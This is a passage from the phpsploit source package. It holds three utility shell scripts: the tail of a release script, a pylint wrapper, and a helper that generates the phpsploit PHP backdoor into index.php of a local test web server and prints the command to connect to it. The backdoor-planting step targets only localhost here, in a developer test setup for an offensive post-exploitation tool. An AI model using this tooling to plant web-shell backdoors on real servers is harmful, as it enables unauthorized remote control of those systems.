"\n${RED}[-] Please commit or stash untracked files${NC}" >&2 echo -e " ${GREEN}git status${NC}" exit 1 fi # check nothing to pull local_head="$(git rev-parse HEAD)" remote_head="$(git ls-remote origin master | cut -f1)" if [ "$local_head" != "$remote_head" ]; then >&2 echo -e "\n${RED}[-] Local branch != remote, please pull or push:${NC}" >&2 echo -e " ${GREEN}git pull; git push${NC}" exit 1 fi ########## MAKE RELEASE VER=$1 TAG="v${VER}" MSG="${VER} release" # set verbose/err set -ve # replace VERSION string in ./phpsploit sed -i '/^VERSION = /c\VERSION = "'${VER}'"' ./phpsploit git add ./phpsploit # generate CHANGELOG.md github_changelog_generator --future-release ${TAG} remark CHANGELOG.md -o git add ./CHANGELOG.md # update man page ./man/update-man.sh git add ./man/ # create commit git commit -m "$MSG" # add release tag to created commit git tag -a $TAG -m "$MSG" # unset verbose/err set +ve echo -e "${BOLD}[+] Release commit created successfully${NC}" echo -e "" echo -e " 1. Check the release commit:" echo -e " ${GREEN}git diff HEAD^${NC}" echo -e "" echo -e " 2. Push the commit and it's tag" echo -e " ${GREEN}git push --follow-tags${NC}" phpsploit-3.2+git20240329.aea961d/utils/pylint.sh000077500000000000000000000007211460155776400211730ustar00rootroot00000000000000#!/bin/bash SCRIPTDIR="$(readlink -f `dirname $0`)" BASEDIR="$(git -C "$SCRIPTDIR" rev-parse --show-toplevel)" # add ./src to PYTHONPATH src="$BASEDIR/src" PYTHONPATH=":${src}:${PYTHONPATH}" pre_args="--good-names=e,x,i,p,m --disable=no-member,not-callable" if [ -z "$1" ]; then # default args (if not defined in argv[1:]) args="$BASEDIR/phpsploit $BASEDIR/src/" exec /usr/bin/pylint3 $pre_args $args else exec /usr/bin/pylint3 $pre_args "$@" fi phpsploit-3.2+git20240329.aea961d/utils/start_phpsploit_connected.sh000077500000000000000000000012721460155776400251370ustar00rootroot00000000000000#!/usr/bin/env bash SCRIPTDIR="$(readlink -f `dirname $0`)" cd "$(git rev-parse --show-toplevel)" SRV_ADDR="127.0.0.1:64956" SRV_WEBDIR="/tmp/phpsploit-temp-server/" # reset srv_webdir mkdir -p "$SRV_WEBDIR" # inject backdoor on server ./phpsploit -e 'set BACKDOOR %%DEFAULT%%; exploit --get-backdoor' > "$SRV_WEBDIR/index.php" # return phpsploit command echo "use the following command to connect phpsploit to server:" echo " ----------------------------------------" echo " $(pwd)/phpsploit -t $SRV_ADDR -ie 'set BACKDOOR %%DEFAULT%%; set REQ_HEADER_PAYLOAD %%DEFAULT%%; exploit'" echo " ----------------------------------------" # start server php -S "$SRV_ADDR" -t "$SRV_WEBDIR"